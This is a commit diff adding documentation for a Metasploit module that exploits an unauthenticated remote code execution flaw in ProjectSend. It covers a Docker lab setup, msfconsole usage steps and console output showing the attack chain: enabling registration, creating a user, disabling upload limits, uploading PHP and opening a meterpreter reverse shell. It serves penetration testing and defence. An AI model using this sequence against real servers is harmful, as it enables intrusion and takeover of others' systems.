Create projectsend_unauth_rce

Author: ostrichgolf

documentation/modules/exploit/linux/http/projectsend_unauth_rce.md

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+## Vulnerable Application
+ProjectSend is a web application used for sharing files with clients.
+
+Due to POST parameters being executed before checking user permissions,
+it is possible to perform a series of actions that can result in unauthenticated Remote Code Execution (RCE)
+on vulnerable versions of ProjectSend.
+
+This module has been tested against ProjectSend versions r1295 through r1605 on Linux.
+
+The easiest way to obtain a vulnerable version of ProjectSend is by deploying it using Docker, as pre-made images exist for the software.
+The following Docker Compose file can be used to set up a vulnerable environment.
+
+```
+---
+    services:
+      projectsend:
+        image: lscr.io/linuxserver/projectsend:version-r1605
+        container_name: projectsend
+        environment:
+          - PUID=1000
+          - PGID=1000
+          - TZ=Etc/UTC
+          - MAX_UPLOAD=5000
+        volumes:
+          - ./projectsend/config:/config
+          - ./projectsend/data:/data
+        ports:
+          - 80:80
+        restart: unless-stopped
+      db:
+        image: mariadb
+        restart: unless-stopped
+        container_name: db
+        volumes:
+          - ./mariadb_data:/var/lib/mysql
+        environment:
+          MYSQL_ROOT_PASSWORD: password
+          MYSQL_DATABASE: projectsend
+          MYSQL_USER: projectsend
+          MYSQL_PASSWORD: projectsend
+```
+After launching the containers, ProjectSend requires an initial configuration,
+which can be completed by accessing it via port 80 on localhost.
+
+## Verification Steps
+
+1. Install the application
+2. Start msfconsole
+3. Do: `use exploit/linux/http/projectsend_unauth_rce`
+4. Set remote hosts: `set RHOSTS <ip>`
+5. Set remote port: `set RPORT <port>`
+6. Set the path to ProjectSend: `set TARGETURI <URI>`
+7. Set local host: `set LHOST <local ip>`
+8. Do: `run`
+9. You should get a shell
+
+```
+msf6 exploit(linux/http/projectsend_unauth_rce) > options
+
+Module options (exploit/linux/http/projectsend_unauth_rce):
+
+   Name       Current Setting  Required  Description
+   ----       ---------------  --------  -----------
+   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
+   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+   RPORT      80               yes       The target port (TCP)
+   SSL        false            no        Negotiate SSL/TLS for outgoing connections
+   TARGETURI  /                yes       The TARGETURI for ProjectSend
+   VHOST                       no        HTTP server virtual host
+
+
+Payload options (php/meterpreter/reverse_tcp):
+
+   Name   Current Setting  Required  Description
+   ----   ---------------  --------  -----------
+   LHOST  192.168.1.20     yes       The listen address (an interface may be specified)
+   LPORT  4444             yes       The listen port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   PHP Command
+```
+
+## Options
+N/A - Only default options.
+
+## Scenarios
+```
+msf6 exploit(linux/http/projectsend_unauth_rce) > run
+
+[*] Started reverse TCP handler on 192.168.1.20:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target is vulnerable.
+[+] Client registration successfully enabled
+[+] User alvin.padberg created with password lrASo3iM
+[*] Disabling upload restrictions...
+[*] Logging in as alvin.padberg...
+[+] Logged in as alvin.padberg
+[+] Successfully uploaded PHP file: sX1A4FCH.php
+[*] Sending stage (39927 bytes) to 192.168.1.20
+[*] Meterpreter session 1 opened (192.168.1.20:4444 -> 192.168.1.20:56675) at 2024-09-23 19:01:29 +0200
+[*] Logging in as alvin.padberg...
+[+] Logged in as alvin.padberg
+[+] Client registration successfully disabled
+[*] Enabling upload restrictions...
+
+meterpreter > sysinfo
+Computer    : 1480205e55c2
+OS          : Linux 1480205e55c2 6.6.26-linuxkit #1 SMP Sat Apr 27 04:13:19 UTC 2024 aarch64
+Meterpreter : php/linux
+```